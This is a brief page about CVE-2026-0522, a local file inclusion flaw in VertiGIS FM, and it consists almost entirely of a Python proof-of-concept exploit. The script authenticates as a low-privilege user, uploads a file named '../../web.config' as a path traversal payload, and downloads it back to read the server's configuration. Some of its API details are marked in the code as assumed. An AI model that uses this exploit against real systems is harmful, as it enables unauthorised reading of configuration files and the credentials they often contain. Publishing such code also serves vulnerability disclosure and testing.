CVE-2026-0522 VertiGIS FM本地文件包含漏洞

import requests # Target configuration target_url = "http://target-vertigis-instance.com" auth = ('low_priv_user', 'password') # Step 1: Upload a file with a manipulated path # The vulnerability lies in how the application handles the file path during upload. # We attempt to traverse to the web.config file. upload_url = f"{target_url}/api/upload" # The payload attempts to set the file path to the web.config payload = { "fileName": "../../web.config", # Path traversal payload "description": "Malicious upload" } files = { 'file': ('exploit.txt', 'dummy content') } response = requests.post(upload_url, auth=auth, data=payload, files=files) if response.status_code == 200: file_id = response.json().get('id') # Assuming the API returns a file ID print(f"Upload successful. File ID: {file_id}") # Step 2: Download the file # The application returns the content of the path specified in the upload download_url = f"{target_url}/api/download/{file_id}" download_response = requests.get(download_url, auth=auth) if download_response.status_code == 200: print("Successfully retrieved file content:") print(download_response.text) else: print("Download failed") else: print(f"Upload failed: {response.text}")